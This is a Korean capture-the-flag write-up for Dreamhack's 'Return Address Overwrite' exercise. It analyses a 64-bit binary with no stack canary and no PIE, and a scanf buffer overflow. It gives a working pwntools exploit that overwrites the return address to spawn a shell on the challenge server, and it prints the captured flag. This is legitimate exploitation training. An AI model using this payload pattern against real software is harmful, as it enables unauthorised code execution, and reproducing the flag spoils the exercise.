콘텐츠로 건너뛰기

Return Address Overwrite

Description

Exploit Tech: Return Address Overwrite에서 실습하는 문제입니다.


문제 파일을 보면 rao.c 소스코드와 rao 실행 파일이 보인다.

rao 실행 파일을 확인해보면, 64비트 리눅스용 실행 파일이며 ASLR과 스택 카나리가 적용되지 않았다.

ubuntu@WSL2:~/CTF/dreamhack.io/Return Address Overwrite$ file rao
rao: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=298450dfb7a0f975e175c8e70d1fff1fc1f5b116, not stripped
ubuntu@WSL2:~/CTF/dreamhack.io/Return Address Overwrite$ checksec rao
[*] '/home/ubuntu/CTF/dreamhack.io/Return Address Overwrite/rao'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

풀이

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[48]; // [rsp+0h] [rbp-30h] BYREF

  init(argc, argv, envp);
  printf("Input: ");
  __isoc99_scanf("%s", v4);
  return 0;
}

마찬가지로 scanf는 입력받을 크기가 제한되어 있지 않아 버퍼 오버플로우가 발생한다.

주의할점은 64비트 실행 파일이기 때문에
Stack Frame Pointer가 8바이트를 차지한다는 점이다.

따라서 페이로드를 작성하면 아래와 같다.
(48바이트 버퍼를 채울 더미데이터) + (8바이트 SFP를 채울 더미데이터) + (실행할 주소)

from pwn import *

p = remote("host3.dreamhack.games", 17859)
data = p.recvuntil('Input: ')
payload = b"\x41" * 48 + b"\x41"*8 + p64(0x4006aa)
p.sendline(payload)
p.interactive()
ubuntu@WSL2:~/CTF/dreamhack.io/Return Address Overwrite$ python3 attack.py
[+] Opening connection to host3.dreamhack.games on port 17859: Done
[*] Switching to interactive mode
$ ls
flag
rao
run.sh
$ cat flag
DH{5f47cd0e441bdc6ce8bf6b8a3a0608dc}

태그:

답글 남기기